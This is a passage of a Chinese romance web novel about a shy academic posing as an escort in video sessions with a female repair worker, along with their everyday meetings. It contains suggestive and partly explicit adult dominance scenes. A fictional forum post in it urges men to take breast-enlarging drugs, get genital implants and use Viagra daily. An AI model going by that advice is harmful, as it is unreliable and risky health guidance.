凑巧,这次开出的是复杂的男仆制服,可惜霍仪一提起来,发现是一体式,不是套装。
霍仪只能放慢动作,他对着镜头捞起针织衫下摆,脱掉,全身很白,只有胸膛唯粉,从裙摆套进男仆制服领口,霍仪将手臂从袖子里面钻出,才发现男仆内衬是薄透的黑丝材质。
而外围的法式白色围裙,由两条荷叶带子吊在臂膀,不过太低了,方领低到胸膛下方,只在肚脐上侧一点。
果然情取服装还是以趣味为主。
霍仪想把内衬扣上,才发现内衬的扣子只是摆设,根本没有暗扣,至于后背那更是裸上了。
他理了理裙摆,发现盒子内还有两样东西,一件黑色蕾丝颈带,一只头层皮腿环。
要命。
霍仪先把手藏在裙摆下,将睡裤脱了。
李尤提醒:“不该让我看看么?”
霍仪耳朵倏地烧红,李尤说要看,霍仪没有不给看的道理。
戴颈带的时候,霍仪将脖颈凑得更近,镜头是俯瞰角度,李尤向下睥睨,霍仪的胸肌便一览无余了。
但霍仪专注调整颈带,不知道这件事。
李尤只能咬紧烟头。
很想把霍仪咬疼。
咬得他双眼迷蒙。
睡裤已经褪干净了,霍仪缓慢撩起裙摆,撩到大腿根部时,露出结实的肌块,他曲腿,扣上了腿环。
没有拉下裙摆,腿环本来就是戴给李尤看。
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霍仪不知磨蹭了多久,说:“好了。”
李尤:“超时了。”
霍仪道歉。
“现在朝我爬过来。”
霍仪微愣:“爬?”
李尤:“嗯。我不说第二遍。”
霍仪调整了下镜头,不敢开广角,真的很害怕李尤知道他以两个身份在接近她。
他伏低身躯,像猫似的爬了过去,有些畏怯闷闷地问:“要怎么惩罚?”
李尤说:“我们见一面吧。”
-
霍仪从未有过的慌乱,脑海各种思绪翻涌,把能设想到的情况全模拟了一遍。
宋老板那里他还没去沟通,他同宋老板说是做兼职,可再也没去过会所。
霍仪下意识开口拒绝:“我这周不在会所。我是兼职,你知道的。”
李尤问:“那你什么时候在?”
霍仪想了想,闷了声,他不想骗李尤,可又搪塞不过去。
“嗯?”李尤问。
压迫感袭来。
霍仪抬头,想起这是犯错的惩罚,犯了错还有其他原谅方式。
霍仪问:“主人,你可以原谅我么?”
李尤不知道霍仪从哪里学来的这招。
她只是想当面和霍仪玩一些小游戏,以某种理由或借口,但好像霍仪很排斥见面。
许是脸长得真的不好看,只是口罩帅哥。
霍仪不想见面,李尤也不会倒逼,去会所还得花钱,免费的,不费事还香甜。
李尤:“可以原谅。但你能做到哪一步呢?”
李尤想知道霍仪的尺度是多少,她能够侵略到多少,她的得寸进尺能占领到什么地步,霍仪接受不了。
为了不让李尤动和他见面的念头,霍仪朝镜头伏低,小声而暧昧地呢喃,在李尤耳廓呵出热气般:“只要是小尤,怎么都可以。如果是小尤,把我..................□□都可以。我是小尤的玩具,仆人,狗,抹布,怎么都可以,只要是小尤。”
李尤心尖蓦地抽动。
骚货,霍意真是个骚货。
李尤变得冷酷,泠然挑眉,也顾不得时间很晚,霍意的话像一双手,拥抱住李尤的脖颈,将其勾住,抱着双双下坠到深渊。
李尤说:“那现在把裙摆朝着镜头撩起来,手伸下去。”
19.第 19 章
霍仪没做过这种事,当着另一个人的面。
可这是李尤给的惩罚。
霍仪照做,一次又一次,快坏掉了。由于太羞耻,霍仪甚至没考虑第一次的时长问题,他只是很听话地照着李尤的话做。
擦破皮了,会疼。
可是小尤没说停止,霍仪当然不会停止。
……
睡醒后。
霍仪一早没赶去实验室,身体发炎,反复磨蹭的地方红肿了,想去看医生,又难以启齿。
他耻感很重。
人生的出格和大胆都奉献了李尤。
去医院看这种病是不可能的,霍仪只能独自去社交媒体上搜索如何治疗后,功能性使用过多,只需要减少次数,休养生息就好。
霍仪将自己的脸,害羞地埋进枕头。
被李尤要求做了那样的事情,虽然没有被李尤触碰,霍仪有种属于李尤的错觉。
好像关系更近了一步。
霍仪闷着脸偷偷欣喜,他回忆着李尤昨晚的话,霍仪耳朵微微发热,烧到眼尾,含了迷蒙的水汽。霍仪像是捧着一块来之不易的糖渣,细细地用舌头舔舐,珍惜那股浅浅的甜味。
他被小尤用坏了。好喜欢小尤,喜欢她的每一句声音,喜欢她有点温柔又很冷酷说他只会发/骚,喜欢她的惩罚。就算不见面,小尤用语言玩他也好厉害。好想……好想做小尤的破布娃娃,小尤的公狗,小尤能把他干/烂就好了。
霍仪能想象到自己流着口水的模样,他将脸蛋埋在被窝更深了。
幻想了一会儿,
看时间差不多,霍仪觉得李尤应该起床了。
霍仪捧着手机,尝试着,小心翼翼地给李尤的微/信发了一条信息。
【小尤,下半身好不舒服。】
霍仪不是贸然给李尤发短讯。
李尤同意了,可以在白天给她发短讯。昨晚弄到一点半,几乎是他和小尤夜晚相处最晚的时间。霍仪哀求放过时,说了是第一次,希望李尤能体谅他第一次犯错,下次不会了。
小尤果然是很温柔的女孩子。霍仪想着,他诚恳地说了实情,小尤便让他再照做一次,结束了惩罚,还告诉霍仪明天起床会不舒服,如果疼得严重,告诉她一声。
李尤只是怕真的把霍仪玩坏了,到时候需要承担责任。毕竟不是两个人相处的实景,隔着屏幕和语音,她对霍仪的身体情况掌握不了。
李尤不希望和男模网聊有意外发生。
霍仪没奢求李尤会回他信息,李尤对他个人的自述不关心,他之前想和李尤亲近,也发过自己的日常,想起个话题,但李尤就当他的信息是空气。
不存在,看不到,只留下霍仪说自己看了好看的电影那句话,留在屏幕上。
霍仪此后和李尤聊天,都不太会用我字头开始,很少提及他本人的感受。
反而他询问李尤的感受,李尤才会回复。
没办法,他的身份就是倒贴想捞女人钱的男模,李尤作为给钱的金主没必要听一个男模的自我感受。她是消费他的角色,她们的互动不是为了让霍仪愉悦。
霍仪能接受自己的身份,也能接受李尤的态度。
李尤本来就是冷清务实的人,正是如此,霍仪才喜欢她的务实。
霍仪抱着手机,翻来覆去,等了五分钟,李尤果然没回复。
霍仪失望地撑着身子坐起,背脊佝偻,蜷缩,像只耷拉耳朵不知道做错什么的大狗。
理智认清是一回事,可潜藏的期待落空又是另一回事。
夏天来了,霍仪像是咬下一颗酸涩的青李,心酸到掉牙,唇舌保藏不成熟的苦楚。不成熟的人是他,李尤许是客套,她一向待人柔和,而他蹬鼻子上脸在平时又骚扰了人家。
他疼,关李尤什么事呢?李尤不是医生,不能减轻他的痛苦。他凭什么对李尤说这种话,李尤没有责任负责他的痛苦。他是个有手有脚下雨天知道躲不会捡地上东西吃的成年男人,难不成要李尤哄他去看医生,他还告诉李尤下半身疼……
怎么看,也好恶心。像猥琐的骚扰。对女性说这种话。
霍仪自厌起来,想撤回,已经过了时间。
刚想发对不起,李尤的文字跳了出来。
【有到需要看医生的程度么?有尿血么?】
霍仪又惊又喜,李尤回复他了,好像在关心他。
霍仪唰地脸红了:【倒也没有那么严重。你不用担心,只是有点不舒服,很疼的话我会去看医生。】他还没去卫生间小解过。
李尤安了心。
害怕李尤走掉,霍仪想再和李尤多说几句,他连忙打字:【今天工作多么?】
李尤:【不多。】
她暗灭手机,放在一旁,专心做煎蛋下面。
今天的活的确不多,站点仍然只派给了她两单小活,给两户人家换吊顶灯,还排在晚间,但也不奇怪,工作日工作党只有下班,家里才有人。
白天早上有两单小的私活,其中一单去给熟客维修旧燃气灶。熟客家的燃气灶时常堵住火孔的喷嘴,隔三五个月,叫一次李尤上门,李尤做久了,轻车熟路。
微信弹出消息,李尤看都没有看。
霍意:【那今天早点吃午饭,不要为了工作耽搁吃饭时间,会饿坏肠胃。】
李尤端起两碗面,坐在餐桌前,小岳起床揉着眼去洗漱,另一碗是小岳的。
霍仪不知道这样的话语会不会惹李尤烦,李尤会不会觉得他事儿爹,多管闲事,可是他了解过维修工的日常,忙起来,吃不了饭是常有的事。
霍仪不希望李尤出现胃病,主要是他能感同身受胃病的痛苦。读博期间,忙,霍仪会忘记按时吃午饭,他之前有胃溃疡,不希望李尤体会那种时不时绞痛反胃的痛苦。
李尤没回复了,霍仪不好吵到她。
-
霍仪到了中午,头疼发烧起来,他也不懂为什么这种事做多了,人会发烧,热天,他居然觉得后背发凉。
他弄破皮的地方又肿又疼。
手脚冰冷。
喉咙像含了石子磨砂着嗓子眼。
霍仪只能挂了某中西结合治疗男科医院网上医生的问诊,医生说,不知节制,导致失了精气。
医生开了治疗风邪入体的中成药颗粒和消炎的西药片,霍仪叫跑腿买上门。
霍仪躺在被褥内裹紧自己,晕乎乎睡了一会儿,脑子迷蒙着想李尤,想见李尤,今天不知道为什么好想见一次李尤。
许是昨晚亲密的行为,让他认不清身份,太贪得无厌。
想见她。
哪怕只是听听她声音也好。
霍仪知道这么做不对,可是在内心哀求,让他放纵一次。
霍仪用正常的客户号给李尤发了消息。
【师傅,能不能帮忙换个窗帘杆?】
李尤很快回复:【可以。换成什么款式?】
霍仪:【家里是罗马杆
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,不方便,想换成滑轮那种。】
霍仪:【图片】【图片】
李尤:【你想侧装还是顶装?】
霍仪:【有什么区别么?师傅,方便讲一下?不好意思,我对这方面不了解。】
李尤解释完,霍仪选了顶装。
霍仪:【那今天方便来么?多晚都可以,我可以加钱,加多少都行。】拜托,不要拒绝他。
李尤想完全可以。她下午正好没活。
李尤:【两点合适?】
合适!!!
霍仪:【麻烦您了。临时很需要,不想忍耐罗马杆了。真心谢谢您,师傅,到时候会支付您三倍酬劳。】
没人不想赚钱,李尤喜欢这样豪爽的客人,不问单价多少,直接就三倍了。
装窗帘是很简单的事,除了需要抬个楼梯比较麻烦,李尤打算把老师的面包车借来开开,里面有她们临时接装修私活的三角梯。
李尤打算先去测量一番。因为霍仪说家里没有卷尺,他这是租房,不知道落地窗的尺寸。
知道李尤要来见他,霍仪突然有了精神,撑起身,洗了个澡,去除身上的味道,又收拾了屋子,把粉色情/趣礼盒藏进衣柜内,这些决不能被李尤发现。
床单还换了彻底,丢进洗衣机。
霍仪不想用惨白萎靡的病容见李尤,特别恐惧他们这种上了年纪的男人,听说一旦憔悴,会显得又老又丑。
霍仪选了件潮牌T恤和黑色短裤,买了很久,显年轻,一直没机会穿。
今天可以穿给李尤看。
但又自卑,会不会有点年轻过度,三十岁的男人穿大学生款式,一眼老来俏?
霍仪最后还是穿了。
穿平日的衣服需要搭配西裤,西裤对于今天的他,特别不合适,磨裆。关键他好像天赋异禀,昨晚被李尤语控玩了一晚上,过于敏感,红肿使他那个部位有点明显。
霍仪无法维持自然的脸色。
他只能穿宽松的嘻哈短裤,遮掩那处。
李尤上门,一开门,李尤嗅到男人体温蒸出的体香,少见的果香,酸酸甜甜,像葡萄籽混合紫李,香得艳俗,甜靡。
她抬头看,霍仪将后背抵在大开的门上,请李尤进入。
霍仪的T恤大,好像挂在他身上,露出他白皙精致的锁骨,雕出的水晶般,被肩胛的肌肉拉出一字线,漂亮到李尤产生眼熟感。
美人天生相似?标准模特身材?
李尤问:“哪间房的窗帘需要换?”
霍仪温声:“都换吧。”
他只是想和李尤待久一点。
今天的她穿了一身黑T,显得她个高修长,像抽出的黑背刀,很酷。
“那行。”
客厅的落地窗过长,李尤拜托霍仪拿住一侧卷尺,她量尺度。记录下长度后,霍仪把卷尺重新递给李尤时,鼓起的胸膛靠她很近。
他好像很黏李尤,也不离开,就站在李尤身旁,李尤去哪他都要跟着,想许久不见主人的狗那般焦灼不舍地黏糊。
但他是房主,他有监工的权利。
李尤动了鼻子。
这富哥每次都好香,还是老师,每天穿这么骚包,还是单身,不知道会不会勾搭女学生?
上课喷这么香,皮肤又白,又香又软的,谁有心情听他讲课,每天都想把他按在讲台操吧。
李尤皱眉,她为什么会对客户产生奇怪想法?
以前没有过吧。
20.第 20 章
霍仪租的是三室一厅,他住了主卧,有个房间单独作为他的书房,还有个卧室空着。李尤量完四个房间,询问霍仪想装成双轨但是单轨。
霍仪选了双轨,双轨安装耗时长一些,到时候有借口让李尤开多的价钱,也能和李尤多待一会儿。
之后李尤走了,她要开车去买窗帘轨道,霍仪念念不舍将她送出门,还帮她按了电梯,在门口送她。
霍仪不知道自己的样子很奇怪,就算李尤,尽量不评价客户行为,不往心里放,可是霍仪的行为就是一只黏着主人不放的狗,主人有正事需要处理,他也不管不顾舍不得主人离开,追出了门外。
李尤走了,霍仪有些脱力和想念,空气里彷佛还留存着李尤长发的香气。
霍仪待在原地,渴望地嗅了嗅,之后才滚回屋内。
沙发上有着李尤拿了脱锈卷尺后,借霍仪卫生间洗手擦干的手帕。
当时她问霍仪,有擦手的么?霍仪没有给她纸巾,指了指挂着的面帕,告诉那是擦手怕。
霍仪可耻地拿在手上,捧在胸口抱着,像是抱住了李尤的腰肢。
上面没有任何味道,李尤是用清水洗手,面帕微微湿润,残存没被日光蒸发走的水汽。
但霍仪彷佛生出狗一般的鼻子,长出上亿个嗅觉单位,他能嗅到李尤掌心汗腺分泌的味道。
李尤的味道很淡,淡到类似新茶掺入热水烹出的茶香,暖暖的水汽扑腾在脸上,舒适而爽神。
面帕也很软,霍仪紧紧抱着小小的软帕,靠近胸膛,却有种自己变成了小宠物仗着生病,窝在李尤怀里拱着脑袋翻着肚皮撒娇的感觉。
抱了一会儿,水汽被晒干,霍仪彷佛还能闻到李尤手心的味道,他打开衣柜,拿出一个用剩下的粉色盒子,把手帕叠好装在里面。
李尤很快回来了,这次还从电梯拿了三角梯,她肩上扛着四根双轨,手上还能架着木质三脚架。
霍仪开门惊叹,她的力量竟然这么足。好厉害啊。
李尤又去电梯拿了工具包,里面有冲击钻,冲击钻才能打穿实心墙。当然有的墙体是空心墙,这种墙体安置房搞的居多,也不能说完全的坑住户,空心墙隔音效果不错。现在好多商品房也做成空心墙。
但李尤装空调,电视或热水器,最烦遇上空心墙,空心墙的螺丝不太稳,有重量的家具挂不上去。
进来的李尤没有废话,专心干活,装四个窗帘轨道,还是会费她一点时间,晚间还有两个客户,加上通勤,李尤为了节省时间出来吃饭,必须专心致志工作。
李尤跨开腿踩在三角梯上,拆了罗马杆递给霍仪。
冲击□□上电,李尤在墙体上开出膨胀螺丝的洞。
噪声很大,李尤捧着冲击钻的手肘在颤抖,可见反冲力很大。
霍仪站着,自发地帮李尤扶住楼梯,虽然李尤说不用扶,很安全。可是霍仪想守在李尤身旁,没有原由,单纯地想待在她身旁,哪怕不说话,静静待着就好。
霍仪把这归属为雏鸟情节,他的第一次奉献给了李尤,李尤拿走他唯一的贞洁,所以他对李尤产生了严重的依恋。
他还在发烧,有些脱力,于是蹲着帮李尤扶住楼梯,抬头目不转睛望着李尤。
李尤的手臂结实,因为冲击钻的后坐力,肌肉压缩收紧成肉眼可见坚实的密度,夏天微微晒成小麦色肌肤青筋迭起,想垂下扎入泥土里的绿色茎干,漂亮,富有生命张力,生生不息。
空调被关了,冲击钻的插头占用了空调插座。
微热,李尤额头冒了汗珠,她停了下打墙的动作,随意用手背擦拭额头。
霍仪望着那滑落的汗珠,舔了唇。霍仪低下头,想舔,令他很羞耻。
李尤换了另一边打墙,挪动楼梯,霍仪问她:师傅,要不我把卧室空调开上吧。
李尤说不用那么麻烦。
霍仪家没有风扇,他忽然埋怨自己为什么不买个风扇,凡事考虑得都不周到。
霍仪只好从冰箱内拿了雪糕,递给热出汗的李尤。
李尤说不吃。
霍仪着急而担心说:“吃吧,师傅,这天太热了。实在不好意思,我家没风扇,你先吃着雪糕,我去把卧室的空调打开吹吹。”
李尤这次没客气了,大夏天不开空调,确实热。
李尤手上有墙灰,霍仪给她拆了塑料纸,递给她。
转身,李尤才注意到客户头顶上落了她打落的墙灰。
客户尽管是个富哥,但心还是不错,很尊重她们这种下苦力的师傅。但一码归一码,被客户善待,李尤也没有后悔刚才吃了他一百块的材料钱。
这么热的天,去给他买材料,加上开面包车的油钱,富哥给点额外的跑腿费也是应该,就算换其他师傅来,也是要吃下这笔钱,不然她们挣什么钱。
打完孔,塞入膨胀螺丝的帽子,霍仪帮着把轨道递给坐在楼梯上的李尤,李尤再打入膨胀螺丝固定,一个轨道安装完工。
双轨铝合金的轨道还是很重,连装四个轨道,李尤手臂举得发酸。霍仪一直帮她扶着楼梯,她去到哪儿,霍仪帮到哪儿。
黏人得慌。
窗帘装旧的罗马杆不行了,不过,霍仪下单的窗帘还没到,李尤仍然是想方设法给他挂在挂钩上。
中途李尤下楼梯借用了一趟卫生间,回来霍仪居然爬上了楼梯,自行挂着窗帘。
霍仪说:“师傅,你歇会儿吧。我来挂上去。”
和富哥一来二去算是熟客了,李尤没有客气,拍拍屁股上的灰,找了椅子坐,也不能坐人家干净的沙发。
某些熟客对她们很好,大部分是女性,会拿一些水果,糖,饼干,饮料塞给她们,做餐饮业的大单,还会包个午饭或晚饭。
所以她还算喜欢干这活,人与人的关系变得简单,不用在车间受主管和同事的气。即便是给钱的客户,她们的关系也是自由且平等。
李尤喝了可乐,霍仪给的。
她抬眼,开始打量霍仪的身段。
初次见面,霍仪的脸蛋便给她某种熟悉感。这次也不例外,这腰身很细,很熟悉的美丽,哪怕穿的是宽大的西海岸短袖,包裹住霍仪的腰身仍然显得盈手可握的细。
馔玉饮金养出的身子漂亮至极。
霍仪把窗帘挂好了,李尤起身去换他,霍仪一看李尤来了,便说:“不用,不用,你坐着休息吧,我弄就好了。”
霍仪说着,脚便踩空了,还好李尤眼疾手快,伸出手扶住他,正好让他斜着身子落在她掌心上。
很重,毕竟一米八几的高个儿,一百四五十多斤,李尤怕他摔倒还是撑着那股力,把他往身边揽了过来。
男人像条弓着身子的大狼狗,将他两只手掌放在李尤肩上,李尤抬头,望见他白玉枝头精雕的下颌,没有一颗小痣。
霍仪很快就避开了脸。
“不、不好意思。踩空了。”
因为恐惧摔倒,也因为李尤摸了他的腰,霍仪心跳到爆炸。
她的手好烫,快把他皮肤烫掉。可是很包容地搂住了他。
“没事吧?扭到没有?”李尤问,霍仪没站稳,李尤的手掌还放在他腰上。
霍仪摇头,“没事,没闪到腰。”
仅仅被吓了一跳。
“那就好。还是我去挂吧。”李尤搬走梯子,去了其他房间。
霍仪埋怨自己:想帮李尤做点事,但他为什么会这么没用?
之后,李尤收了钱就走了,加上材料钱,霍仪给了李尤近小三千,这不算小数目了。
李尤微信收到钱的刹那,不吭不卑说:“之后新窗帘到了,也可以叫我来帮你换。你没有三角梯,不方便。”
霍仪立马嗯了声,重重点头,“好啊。你一定要来。我会等你。”
李尤轻描淡写嗯了声,顾客很单纯。
有钱的富少没经
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过风浪,像金丝雀被金钱铸成的笼子豢养,单纯是应该的。穿得那么骚包,可能是审美教育接受得不好,ego膨胀,太沉迷展示自己美好的身躯。
也能理解了,毕竟人家是真的身段好,长得又漂亮,还文质彬彬的矜贵富少。
霍仪屁颠屁颠,彷佛摇起尾巴把李尤送出门外,依依不舍地给她按了电梯门,他想拿着楼梯把李尤送到楼下,但李尤拒绝了。
霍仪只能在电梯抵达一楼后,扑棱甩着尾巴,跑回阳台,趴着看李尤的背影坐进面包车内,目送她离开。
舍不得她走。
霍仪失落地下拉着嘴角弧度,好想追出去说想跟着她回家去,给她做饭,逗她开心都可以,只要能待在她身边,不想这间房内剩下孤零零的自己。
人果然不能得到太多,得到太多就会变得贪心。
霍仪撤回眼神,忽地想起家里装了监控,是不是把李尤抱住他腰的那一幕拍了下来。
他要看!要下载收藏起来!李尤那会儿女友力十足,让他很有安全感。
-
晚间,李尤忙完两单站点的派活,回到了家。
小岳吃过饭了,烧了啤酒鸭,给李尤留了没动过的半盘在桌上。
李尤正好没吃饭,便吃了起来。
小岳走过来,捞出方椅,神情郑重地坐在李尤对面。
“小尤,有个事想跟你谈一下。”
李尤让小岳说。
“我女朋友的房子装好了,甲醛也透完了,我打算搬过去住。”
这事年初的时候,小岳便给李尤沟通过,她姐姐的房子装好后,她可能要搬出去住。李尤本以为她们快分了,结果决定同居了。不久之前,小岳吐槽了她被姐姐吊着,姐姐不愿意出柜的烦恼。
小岳的女朋友比她大多了,大一开始谈,那时她的姐已经工作了,恋爱谈了七年,期间分分合合,李尤和宋湘听她们之间鸡毛蒜皮的小矛盾,耳朵听到生出茧子。
一起去公园野餐时,李尤见过一次小岳的女朋友。
她穿了件绿色冲锋衣,头发往后梳,扎了个长马尾,看不出年纪。
两人一靠近,就如同磁铁吸在一块轻声细语地交谈,李尤坐在一旁,反复听见小岳向女友确认:喂,我今天是不是很帅?弄的头发好看吧。那个人有我帅么?拜托,我最帅,快夸我夸我。
“真要搬出去?想好了?”李尤问。
“嗯。我和她算是定下来了。就这样过吧。”
小岳这话多半等于结婚的意思。
李尤只能恭喜。
“搬出去之前,我会找到下一个租户,反正这三个月的钱,我肯定是会照给。小尤你想要什么性格的室友?有什么要求,我贴上去。”
小岳觉得很愧疚,尽管是朋友,但毕业后,一直一起合租,很固定的搭子,退出合租房这种事,给朋友带来麻烦,她很不好意思。
李尤说:“先不急。我一个人租也行。”
小岳倒是心事重重,很怕李尤产生找室友的焦虑,但李尤拍了小岳的肩,给她一个拥抱,算是恭喜。
洗澡的时候,李尤发现月经来了,她说怪不得举四个合金轨道觉得手臂酸麻疲惫,正常日子是没有感觉。来月经时,她肌耐力下降得明显。
霍意又发来短信,问候李尤。
李尤想到这男的真是骚透了,一天到晚哪来的精力使劲勾搭她,昨晚才被她弄得这么惨,今早还发消息卖乖卖惨,晚上又不知廉耻来撩拨她。
不过李尤经期不想大动干戈,拒绝了霍仪。
李尤也没有月经羞耻,直说了缘由,让霍意等她四天。
霍仪捧着手机,被李尤拒绝送福利,也藏不住笑脸。
小尤好真诚,什么事情都会跟他讲,看来他在小尤心里的地位逐渐上升。
好棒,好棒。病好了,立马健身,要把小尤蛊得死死的,让她没精力想其他年轻男孩子。
21.第 21 章
李尤在公司APP上请了假,订了第二天的高铁,打算回家看李允晴和李父。
她不是恋家的孩子,李允晴和丈夫也有自己的生活,李尤很少像个无话不说的孩子,和父母谈论自己的事,她喜欢自行处理人生中遇到的所有事。
气候变化时,李尤会主动打个电话回家,问候一下家人。
家里离她工作的省会城市近,十几分钟的高铁便到站。
李允晴开车来接李尤,说她爸在家烧了好些菜等着她。她昨晚打电话回家,她爸爸就把她屋子收拾好了,床单被套换了新的,等着她回来。
想到爸爸烧的菜,李尤脸上露出笑容。
“连心湖的荷花展开了,下午我和你爸要去赏荷花,你去么?”李允晴像朋友一样问,“湖上还开了个快艇服务站,我想去玩。”
“去啊,叫爸爸多带点水喝。”
虽然荷花展年年都有,没有任何新意,就是走走停停赏荷花玩,但李尤一家人年年都会去看。李允晴和李父是懂生活情调的人,会发现生活里那些值得被期待的美好。
李父准备了果汁和奶茶,还有从超市里拿的各种零食干货,开小超市就这点好,可以从家里拿货。
李允晴玩了五圈快艇,其实像水上电动摩托,一圈四十块,两圈六十块,三圈八十块,五圈一百块。
不玩五圈有点划不来。
李允晴的快艇飞过,李尤和李父站着讨论她开得快,李父的眼笑出温驯的皱纹,说:“你妈妈把障碍球撞飞了。看旁边那个小男孩,还没有你妈妈厉害,她都开了四圈了,小男孩才开始第二圈。”
“你也去玩玩吧,我替你给一百块。”李父觉得女儿在外面打拼挣钱很不容易,一个人独立持家,手头肯定紧巴。
母女都是一个性情,喜欢找刺激的玩,李允晴天天晚上在和平精英里与小学生喊打喊傻,要不就是玩宫崎英高严选,被坑得找他出气。
“我不玩,就是个水上摩托。”李尤说得很不屑,“我开摩托的,夜骑比这个快多了。”
李父又担心起来,“还是开慢点,装备要带齐全,摩托是肉包铁,万一有个啥,你妈妈非把我杀了不可。”
“放心,我就上班开开,夜骑我都没去过。爸,不许透露给我妈。”
李父做了个锁链封嘴的动作,挤眼:“放心,我嘴很严。”
李父擦擦汗,继续提醒李尤要注意摩托行驶安全,千万不要图刺激求快。
他夹在母女俩中间,真是两头难做,他这也不没给李尤讲李允晴连续几晚通宵玩只狼的事。
“对了,有件事晚上我要和我妈说说。”
在家玩了三四天,李允晴也赞同李尤决定买房的决策。
现在房价降了很多,不论李尤选择首付贷款还是全款的方式,她们家都能支持李尤。
李允晴始终觉得租房住不如自己家舒服,但李允晴平时守门面,也拿点小钱炒股。从昨年夏天到今年夏天,某A就没好过,只有乐子人看2700的保卫战看开心了。
好在李允晴的钱放在纳斯达克。
她经历过国企下岗失业潮的女人,当年厂里也是赔了几年社保就叫她们离开了,李允晴才选择做点生意,另谋生路。
李允晴不想李尤在高位点上车,预期和信心是好的,但现实的重锤砸下来,没有人不疼。
李尤说了买房的事,李允晴就叫她自己看着买,她现在干着这行,肯定是比她们要懂。
李尤点头,她有空的时候,就会去售楼处转转。
-
小岳说是会留一个季度,第二天便把贴身衣服带走了,迫不及待和姐子同居。
李尤从家里回来的当天,浴室内便剩下她那一只杯子。小岳养的“宝贝女儿”,一只胖胖的毛丝鼠也被带走了。
家里的活物只有一个自己了,和好姐妹分开,李尤还是会微微失落。
晚间还得去参加小岳女友的“乔迁宴”,李尤收拾了下房间,抽空去买了乔迁礼物。
下午抽空,借了老师的面包车,去给富哥客户上窗帘。
李尤是很负责任的人,答应了帮富哥客户装窗帘,没钱麻烦的事她也会做,因为哪怕赔钱也会负责这点,反而增加了很多信赖她的客户。
宁愿等着她和杨睿娟上门做,也不想交给其他人去做。
李尤和杨睿娟有几天没见了,这次见面,杨睿娟告诉李尤,找个空档时间和她去见个做新闻的主编,这不,经理那事还没完。
李尤听老师的,杨睿娟比她有手段多了。
-
霍仪感冒在一天内便痊愈了。
霍仪觉得是晚间抱着有李尤气味面帕入睡的效果。
自从遇上李尤,他的世界不再阴雨绵绵,也没有频繁地梦到高中生活,阳光洒进了他的梦里,他好像不再沉湎于过去带给他的伤痛,自卑还是自卑,可是每天都有了希望。
虽然希望生出的期待感是想用花样百出的手段,让女孩子大饱眼福,她开心就好了。
他又买了些道具,想陪李尤玩。
说要给李尤下蛊,把她迷得死死的,再也不动找其他男模的想法,霍仪百分之两百的认真。
不知道覆面军装,小尤喜不喜欢?把军装胸前剪个大洞算了,战损感拉满,又能露奈,小尤眼睛应该会挪不开吧?
想到李尤失神到移不开眼神,霍仪抱着需要晾晒的衣服,站在阳台发呆地,自顾自微笑。
还得买几件好撕的衣服,爆衣秀小尤会喜欢么?
胸链,那是必须买的,最近擦边圈很流行。不知道小尤会不会刷擦边男,如果李尤先看到别的骚货穿胸链,唉,他会好恨他们。李尤的惊喜感便降低了。
果真男人还是不要太免费了。
要不要下单几款口塞?下次小尤语控,他戴上会增加她的观赏趣味么?买几个试试,如果她不喜欢,丢掉就是了。
还有什么呢?
霍仪脑子里闪过一个念头,最近看到的奇异点子,有打算,不过不敢实施。
他想买点增乳的药物来吃吃。
加入的奇妙婚男圈子里说,很少有男做到这种地步,要是家里的女人喜欢,基本上蛊定了,不会轻易被抛弃。她也会减少出去偷吃的频率。
内容:【还是那个底层逻辑,在和她的关系里,你不努力,你不主动,不动脑子思考,拿什么和其他男人竞争?女人不是嘴上说会专宠你就会真的专宠你
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一辈子。女人喜欢新鲜感,哪天你不新鲜了,她就跟你掰掰了。】
【你要成为她的唯一,成为她内心的不可替代,在内做她的贤内助,不让她为家庭琐事操心,在外要给她事业助力,比如说我,我老婆时常有生意上的饭局,我会穿着低调正点,谈吐矜雅,不失风范。请记住你是她的身边人,别人怎么看你,别人也在怎么看她。如果你丢脸,你丢的是她的脸面。】
【不仅如此,你还要挖掘自己的多面性,给她最好的情/欲盛宴,把她的口味养叼,哪怕她出去偷吃,跟别人做/爱时想的还是你。女人在小三那里吃得乏味,最终还是会想什么小五小六小七都不如和你的体验好。】
【等到那时,正夫的地位你就修成了,能从本圈毕业。即在和其他男人的爱情战争中,你把握住了输赢。毕竟只有你最可口,你最懂她的心思。我们的目标是什么?】
霍仪发帖回复入圈宣言:【做一块属于她的可口小蛋糕。】
[BINGO!]
之后贴主举了自己老婆的例子,他吃了药后,埋了珠,原本忙碌加班夜不归宿的老婆天天回家了,性生活和谐到老婆天天缠着他,他需要顿顿伟哥支撑自己的地步。
他晒了他过生日当天,老婆推掉生意来陪他,给他买礼物的照片,还有她们手指交扣的秀恩爱朋友圈截图。
好羡慕。
羡慕这种被老婆宠爱,放在心尖上的感觉。
霍仪想做到那样的地步,让小尤也对他这么好。
贴主说的头头是道,他完全同意。
如果小尤做他的女朋友,他便抱着他最亲亲可爱的小尤给她喂奶?挤给她看,会喜欢么?但是好怕把小尤吓到了,万一讨厌他这个变态呢?
霍仪打算下次把李尤哄开心时候,试探地问一下。
不喜欢就不做了,喜欢的就大大方方地展示自己,把她迷倒。
对了,小尤什么时候过生日?如果是她过生日,霍仪想为她准备一个很难忘记的生日宴。
-
四天一过,霍仪把网购的窗帘清洗烘干,便给李尤发了上门的消息。
上门之前,霍仪穿了件黑色背心,短裤,装作要出门打网球的样子。背心领口宽大,露出他加练到方形的胸肌,两侧更甚,稍不注意,就会走光。
香水选的TOM FORD熟男乌木沉香。
那名贴主也是大龄男青年,劝告同龄人不要装嫩,发挥熟男特长,姐弟恋的时代终将过去,最终姜还是要老的辣。
他们成男的目标是:挖掘自身潜力,不需要迎合不适合自己的风格。
-
李尤上门,动动鼻子,富哥又换香水了。
李尤先看了窗帘,她搬好梯子换窗帘,霍仪黏在她身后,抱着窗帘打算递给她。
李尤拿窗帘的时候,角度选的不好,从上向下俯视,不想看都不行。
霍仪伸出手臂时,领口过大,让她看了精光,方正的两块胸肌间有道若隐若现的沟壑。
李尤暗下眼神,瞥走,粉色的啊。
但李尤还是比较尊重男人,下次伸手拿窗帘的时候,眼神挪移到挂钩,只关注手上的活。迅速给霍仪换好窗帘,李尤便走了。
22.第 22 章
几天后,杨睿娟带着李尤去和金耀日报的主编见了面,顺便把李尤的晚饭在一家老火锅店解决。
杨睿娟喜欢边吃边谈事情,在饭桌上谈事,她会很放松。
李尤和罗清刚做完单子,想把罗清带上一起吃一顿晚饭,那家老火锅的菜品很有特色,梅子酒很甜,李尤想推荐给罗清尝尝鲜。
但罗清晚上约了人,做完单子刚好过了饭点,李尤顺路将她送到最近的地铁站。
